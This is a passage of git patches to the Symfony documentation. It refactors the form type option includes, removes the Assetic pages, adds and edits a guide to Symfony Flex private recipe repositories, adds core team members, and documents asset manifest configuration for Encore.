-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 586628559de..7e1ac05de0c 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -28,13 +28,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f2f79adfe5a..58927fed014 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -34,13 +34,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index c7002a79a08..204c496ce85 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -27,15 +27,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 From an HTTP perspective, submitted data is always a string or an array of strings.
 So by default, the form will treat any empty string as null. If you prefer to get
 an empty string, explicitly set the ``empty_data`` option to an empty string.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index a0e1dde7d9a..3e0ac8e0db9 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -33,13 +33,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 4eab5421e57..5641ad921f0 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -117,8 +117,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -126,8 +125,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a4cc411f1e0..1a0fa2eb615 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -41,13 +41,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index adbae2e904c..1ab3e284d08 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -102,16 +102,14 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
 * If ``widget`` is ``single_text``, then ``''`` (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~

From 3f9ff65206a47eed4e2aaecd043067ef5b31d56a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 13:39:30 +0100
Subject: [PATCH 1362/5766] Remove conditional includes on other files

---
 reference/forms/types/ulid.rst | 6 ++----
 reference/forms/types/uuid.rst | 6 ++----
 2 files changed, 4 insertions(+), 8 deletions(-)

diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 7dba8164b19..90d2f33589b 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index 0fe52f16330..c5d0827558e 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From a6f452cec9c4dd9f66f09c674e1fb35c0cb59273 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:14:15 +0100
Subject: [PATCH 1363/5766] [Frontend] Reword the introduction to be more
 precise

---
 frontend/encore/installation.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 4985ec4d3f3..08ba52a342b 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,7 +1,10 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_ and also the `Yarn package manager`_.
+First, make sure you `install Node.js`_. Optionally you can also install the
+`Yarn package manager`_. In the next sections you will always see the commands
+for both ``npm`` and ``yarn``, but you only need to run one of them.
+
 The following instructions depend on whether you are installing Encore in a
 Symfony application or not.
 

From 5d033cf57ba5b72e21aae706868eb298a34ffcad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:24:30 +0100
Subject: [PATCH 1364/5766] [Frontend] Remove all Assetic references

---
 _build/redirection_map        | 2 ++
 _build/spelling_word_list.txt | 1 -
 frontend.rst                  | 1 -
 frontend/assetic/index.rst    | 8 --------
 4 files changed, 2 insertions(+), 10 deletions(-)
 delete mode 100644 frontend/assetic/index.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 87a36a5a2b9..b4338e01043 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -534,3 +534,5 @@
 /security/multiple_guard_authenticators /security/entry_point
 /security/guard_authentication /security/custom_authenticator
 /email /mailer
+/frontend/assetic /frontend
+/frontend/assetic/index /frontend
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
index 3b1d630fa11..ba76529bd7a 100644
--- a/_build/spelling_word_list.txt
+++ b/_build/spelling_word_list.txt
@@ -3,7 +3,6 @@ Akamai
 analytics
 Ansi
 Ansible
-Assetic
 async
 authenticator
 authenticators
diff --git a/frontend.rst b/frontend.rst
index b95f0aa216e..d4eff6cc357 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -92,7 +92,6 @@ Other Front-End Articles
     :hidden:
     :glob:
 
-    frontend/assetic/index
     frontend/encore/installation
     frontend/encore/simple-example
     frontend/encore/*
diff --git a/frontend/assetic/index.rst b/frontend/assetic/index.rst
deleted file mode 100644
index 63955c9f8dd..00000000000
--- a/frontend/assetic/index.rst
+++ /dev/null
@@ -1,8 +0,0 @@
-Assetic
-=======
-
-.. caution::
-
-    Using Assetic to manage web assets in Symfony applications is no longer
-    recommended. Instead, use :doc:`Webpack Encore </frontend>`, which bridges
-    Symfony applications with modern JavaScript-based tools to manage web assets.

From 7fe3923fd40018887385e660e6a5d31f0796181f Mon Sep 17 00:00:00 2001
From: gnito-org <github@gnito.org>
Date: Tue, 5 Oct 2021 06:20:25 -0300
Subject: [PATCH 1365/5766] [Flex] Add instructions for use of private recipe
 repositories

---
 setup/flex.rst                 |   7 +-
 setup/flex_private_recipes.rst | 226 +++++++++++++++++++++++++++++++++
 2 files changed, 232 insertions(+), 1 deletion(-)
 create mode 100644 setup/flex_private_recipes.rst

diff --git a/setup/flex.rst b/setup/flex.rst
index 899bb6d3de5..fab6269f377 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -133,7 +133,7 @@ manual steps:
 
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
-   
+
 #. Remove ``src/AppBundle/``.
 
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
@@ -189,6 +189,11 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
+Learn more
+----------
+
+* :doc:`/setup/flex_private_recipes`
+
 .. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
new file mode 100644
index 00000000000..28d158e275a
--- /dev/null
+++ b/setup/flex_private_recipes.rst
@@ -0,0 +1,226 @@
+How To Configure and Use Flex Private Recipe Repositories
+=========================================================
+
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own private
+flex recipe repositories, and seamlessly integrate them into the ``composer`` package
+installation and maintenance process.
+
+This is particularly useful when you have private bundles or packages that must perform their own
+installation tasks, in a similar fashion that Symfony and other open-source bundles and packages handle their
+own installation tasks via ``symfony/flex``.
+
+To do this, in broad strokes, you:
+
+* Create a private GitHub repository;
+* Create your private recipes;
+* Create an index to the recipes;
+* Store your recipes in the private repository;
+* Grant ``composer`` access to the private repository;
+* Configure your project's ``composer.json`` file; and
+* Install the recipes in your project.
+
+Create a Private GitHub Repository
+----------------------------------
+
+Log in to your GitHub.com account, click your account icon in the top-right corner, and select
+**Your Repositories**. Then click the **New** button, fill in the **repository name**, select the
+**Private** radio button, and click the **Create Repository** button.
+
+Create Your Private Recipes
+---------------------------
+
+A ``symfony/flex`` recipe is a standard JSON file that has the following structure:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/package-name": {
+                "manifest": {
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+If your package is a private Symfony bundle, you will have the following in the recipe:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                            "all"
+                        ]
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+Replace ``myorg`` and ``private-bundle`` with your own private bundle details.
+
+The ``"ref"`` entry is just a random 40-character string, which is used by ``composer`` to determine if
+your recipe was modified. Every time that you make changes to your recipe, you also need to
+generate a new ``"ref"`` value.
+
+.. tip::
+
+    Use the following PHP script to generate a random ``"ref"`` value.
+
+    .. code-block::
+
+        $bytes = random_bytes(20);
+        var_dump(bin2hex($bytes));
+
+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's ``bundles.php`` file
+for all environments. To load your bundle only for the ``dev`` environment, replace ``"all"`` with ``"dev"``.
+
+The name of your recipe JSON file must conform to the following convention:
+
+    ``myorg.private-bundle.1.0.json``
+
+where ``1.0`` is the version number of your bundle.
+
+Replace ``myorg`` and ``private-bundle`` with your own private bundle or package details.
+
+You will probably also want ``symfony/flex`` to create configuration files for your bundle or package in the
+project's ``/config/packages`` directory. To do that, change the recipe JSON file as follows:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                            "all"
+                        ]
+                    },
+                    "copy-from-recipe": {
+                        "config/": "%CONFIG_DIR%"
+                    }
+                },
+                "files": {
+                    "config/packages/myorg_private.yaml": {
+                        "contents": [
+                            "myorg_private:",
+                            "    encode: true",
+                            ""
+                        ],
+                        "executable": false
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+For more examples of what you can include in a recipe file, browse the live `Symfony recipe files`_.
+
+Create an Index to the Recipes
+------------------------------
+
+The next step is to create an ``index.json`` file, which will contain entries for all your
+private recipes, and other general configuration information.
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "myorg/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "master",
+        "is_contrib": true,
+        "_links": {
+            "repository": "github.com/your-github-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes.
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+Store Your Recipes in the Private Repository
+--------------------------------------------
+
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root directory of your
+private GitHub repository.
+
+Grant ``composer`` Access to the Private Repository
+-------------------------------------------------
+
+In your GitHub account, click your account icon in the top-right corner, select
+``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
+
+Generate a new access token with ``Full control of private repositories`` privileges.
+
+Copy the access token value, switch to the terminal of your local computer, and execute
+the following command:
+
+.. code-block:: terminal
+
+    composer config --global --auth github-oauth.github.com [token]
+
+Replace ``[token]`` with the value of your GitHub personal access token.
+
+Configure Your Project's ``composer.json`` File
+---------------------------------------------
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/index.json",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your ``composer.json``. Simply
+    add the ``"endpoint"`` key to the existing ``extra.symfony`` entry.
+
+.. tip::
+
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and **not* to
+    ``https://www.github.com``. The latter will not work.
+
+Install the Recipes in Your Project
+-----------------------------------
+
+If your private bundles / packages have not yet been installed in your project, run the following command:
+
+.. code-block:: terminal
+
+    composer update
+
+If the private bundles / packages have already been installed and you just want to install the new
+private recipes, run the following command:
+
+.. code-block:: terminal
+
+    composer recipes
+
+.. _`release of version 1.16`: https://github.com/symfony/cli
+.. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
+

From 021d9af3da97d1d78bf47b01d74673aa747acd63 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:52:44 +0100
Subject: [PATCH 1366/5766] Tweaks

---
 setup/flex_private_recipes.rst | 113 ++++++++++++++++-----------------
 1 file changed, 55 insertions(+), 58 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 28d158e275a..30d5fed24c4 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -1,15 +1,12 @@
 How To Configure and Use Flex Private Recipe Repositories
 =========================================================
 
-Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own private
-flex recipe repositories, and seamlessly integrate them into the ``composer`` package
-installation and maintenance process.
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own
+private Symfony Flex recipe repositories, and seamlessly integrate them into the
+``composer`` package installation and maintenance process.
 
-This is particularly useful when you have private bundles or packages that must perform their own
-installation tasks, in a similar fashion that Symfony and other open-source bundles and packages handle their
-own installation tasks via ``symfony/flex``.
-
-To do this, in broad strokes, you:
+This is particularly useful when you have private bundles or packages that must
+perform their own installation tasks. To do this, you need to complete several steps:
 
 * Create a private GitHub repository;
 * Create your private recipes;
@@ -22,20 +19,21 @@ To do this, in broad strokes, you:
 Create a Private GitHub Repository
 ----------------------------------
 
-Log in to your GitHub.com account, click your account icon in the top-right corner, and select
-**Your Repositories**. Then click the **New** button, fill in the **repository name**, select the
-**Private** radio button, and click the **Create Repository** button.
+Log in to your GitHub.com account, click your account icon in the top-right
+corner, and select **Your Repositories**. Then click the **New** button, fill in
+the **repository name**, select the **Private** radio button, and click the
+**Create Repository** button.
 
 Create Your Private Recipes
 ---------------------------
 
-A ``symfony/flex`` recipe is a standard JSON file that has the following structure:
+A ``symfony/flex`` recipe is a JSON file that has the following structure:
 
 .. code-block:: json
 
     {
         "manifests": {
-            "myorg/package-name": {
+            "acme/package-name": {
                 "manifest": {
                 },
                 "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
@@ -49,10 +47,10 @@ If your package is a private Symfony bundle, you will have the following in the
 
     {
         "manifests": {
-            "myorg/private-bundle": {
+            "acme/private-bundle": {
                 "manifest": {
                     "bundles": {
-                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
                             "all"
                         ]
                     }
@@ -62,11 +60,10 @@ If your package is a private Symfony bundle, you will have the following in the
         }
     }
 
-Replace ``myorg`` and ``private-bundle`` with your own private bundle details.
-
-The ``"ref"`` entry is just a random 40-character string, which is used by ``composer`` to determine if
-your recipe was modified. Every time that you make changes to your recipe, you also need to
-generate a new ``"ref"`` value.
+Replace ``acme`` and ``private-bundle`` with your own private bundle details.
+The ``"ref"`` entry is a random 40-character string used by ``composer`` to
+determine if your recipe was modified. Every time that you make changes to your
+recipe, you also need to generate a new ``"ref"`` value.
 
 .. tip::
 
@@ -74,31 +71,30 @@ generate a new ``"ref"`` value.
 
     .. code-block::
 
-        $bytes = random_bytes(20);
-        var_dump(bin2hex($bytes));
-
-The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's ``bundles.php`` file
-for all environments. To load your bundle only for the ``dev`` environment, replace ``"all"`` with ``"dev"``.
-
-The name of your recipe JSON file must conform to the following convention:
+        echo bin2hex(random_bytes(20));
 
-    ``myorg.private-bundle.1.0.json``
+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's
+``bundles.php`` file for all environments. To load your bundle only for the
+``dev`` environment, replace ``"all"`` with ``"dev"``.
 
-where ``1.0`` is the version number of your bundle.
+The name of your recipe JSON file must conform to the following convention,
+where ``1.0`` is the version number of your bundle (replace ``acme`` and
+``private-bundle`` with your own private bundle or package details):
 
-Replace ``myorg`` and ``private-bundle`` with your own private bundle or package details.
+    ``acme.private-bundle.1.0.json``
 
-You will probably also want ``symfony/flex`` to create configuration files for your bundle or package in the
-project's ``/config/packages`` directory. To do that, change the recipe JSON file as follows:
+You will probably also want ``symfony/flex`` to create configuration files for
+your bundle or package in the project's ``/config/packages`` directory. To do
+that, change the recipe JSON file as follows:
 
 .. code-block:: json
 
     {
         "manifests": {
-            "myorg/private-bundle": {
+            "acme/private-bundle": {
                 "manifest": {
                     "bundles": {
-                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
                             "all"
                         ]
                     },
@@ -107,9 +103,9 @@ project's ``/config/packages`` directory. To do that, change the recipe JSON fil
                     }
                 },
                 "files": {
-                    "config/packages/myorg_private.yaml": {
+                    "config/packages/acme_private.yaml": {
                         "contents": [
-                            "myorg_private:",
+                            "acme_private:",
                             "    encode: true",
                             ""
                         ],
@@ -121,13 +117,14 @@ project's ``/config/packages`` directory. To do that, change the recipe JSON fil
         }
     }
 
-For more examples of what you can include in a recipe file, browse the live `Symfony recipe files`_.
+For more examples of what you can include in a recipe file, browse the
+`Symfony recipe files`_.
 
 Create an Index to the Recipes
 ------------------------------
 
-The next step is to create an ``index.json`` file, which will contain entries for all your
-private recipes, and other general configuration information.
+The next step is to create an ``index.json`` file, which will contain entries
+for all your private recipes, and other general configuration information.
 
 The ``index.json`` file has the following format:
 
@@ -135,7 +132,7 @@ The ``index.json`` file has the following format:
 
     {
         "recipes": {
-            "myorg/private-bundle": [
+            "acme/private-bundle": [
                 "1.0"
             ]
         },
@@ -148,26 +145,24 @@ The ``index.json`` file has the following format:
         }
     }
 
-Create an entry in ``"recipes"`` for each of your bundle recipes.
-
-Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-github-account-name`` and ``your-recipes-repository`` with your own details.
 
 Store Your Recipes in the Private Repository
 --------------------------------------------
 
-Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root directory of your
-private GitHub repository.
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
+directory of your private GitHub repository.
 
 Grant ``composer`` Access to the Private Repository
--------------------------------------------------
+---------------------------------------------------
 
 In your GitHub account, click your account icon in the top-right corner, select
 ``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
 
-Generate a new access token with ``Full control of private repositories`` privileges.
-
-Copy the access token value, switch to the terminal of your local computer, and execute
-the following command:
+Generate a new access token with ``Full control of private repositories``
+privileges. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
 
 .. code-block:: terminal
 
@@ -176,7 +171,7 @@ the following command:
 Replace ``[token]`` with the value of your GitHub personal access token.
 
 Configure Your Project's ``composer.json`` File
----------------------------------------------
+-----------------------------------------------
 
 Add the following to your project's ``composer.json`` file:
 
@@ -197,25 +192,27 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
 
 .. tip::
 
-    The ``extra.symfony`` key will most probably already exist in your ``composer.json``. Simply
-    add the ``"endpoint"`` key to the existing ``extra.symfony`` entry.
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
 
 .. tip::
 
-    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and **not* to
-    ``https://www.github.com``. The latter will not work.
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
+    **not* to ``https://www.github.com``.
 
 Install the Recipes in Your Project
 -----------------------------------
 
-If your private bundles / packages have not yet been installed in your project, run the following command:
+If your private bundles/packages have not yet been installed in your project,
+run the following command:
 
 .. code-block:: terminal
 
     composer update
 
-If the private bundles / packages have already been installed and you just want to install the new
-private recipes, run the following command:
+If the private bundles/packages have already been installed and you just want to
+install the new private recipes, run the following command:
 
 .. code-block:: terminal
 

From 5d85f17113bf6cb2e85a9a84448083db18f14b5a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 18 Nov 2021 16:03:58 +0100
Subject: [PATCH 1367/5766] Add some core team members

---
 contributing/code/core_team.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 5b9d2222ab8..d44412617a7 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,7 +71,11 @@ Active Core Members
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
   * **Titouan Galopin** (`tgalopin`_);
-  * **Oskar Stark** (`OskarStark`_).
+  * **Oskar Stark** (`OskarStark`_);
+  * **Thomas Calvet** (`fancyweb`_);
+  * **Mathieu Santostefano** (`welcomattic`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Jérôme Tamarelle** (`gromnan`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -207,3 +211,7 @@ discretion of the **Project Leader**.
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
 .. _`tgalopin`: https://github.com/tgalopin/
+.. _`fancyweb`: https://github.com/fancyweb/
+.. _`welcomattic`: https://github.com/welcomattic/
+.. _`kbond`: https://github.com/kbond/
+.. _`gromnan`: https://github.com/gromnan/

From 32e6088757d8d1c4e1ab93d7386b27a897be2d2d Mon Sep 17 00:00:00 2001
From: Pedro Piedade <ppiedade@rawnet.com>
Date: Tue, 20 Jul 2021 08:18:29 +0100
Subject: [PATCH 1368/5766] Update advanced-config.rst

I think the documentation is missing the manifest definition step
---
 frontend/encore/advanced-config.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 021fc25ce24..433de1da3b3 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -122,6 +122,21 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
+
+Also define the asset manifests for each build:
+
+.. code-block:: yaml
+
+    # config/packages/assets.yaml
+    framework:
+        assets:
+            packages:
+                first_build:
+                    json_manifest_path: '%kernel.project_dir%/public/first_build/manifest.json'
+                second_build:
+                    json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
+
+
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 

From 1d56e69e465f7444c71650607c8ebf9a7cf02162 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 16:57:23 +0100
Subject: [PATCH 1369/5766] Tweaks

---
 frontend/encore/advanced-config.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 433de1da3b3..722a8b57aa4 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -122,7 +122,6 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
-
 Also define the asset manifests for each build:
 
 .. code-block:: yaml
@@ -136,7 +135,6 @@ Also define the asset manifests for each build:
                 second_build:
                     json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
 
-
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 

From 2075bb9fac81ad3014f5d79e9673f49cbdd9d92a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 17 Nov 2021 14:13:31 +0100
Subject: [PATCH 1370/5766] Update page_creation.rst

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 76b892c8455..b921671c6ae 100644
--- a/page_creation.rst
+++ b/page_creation.rst
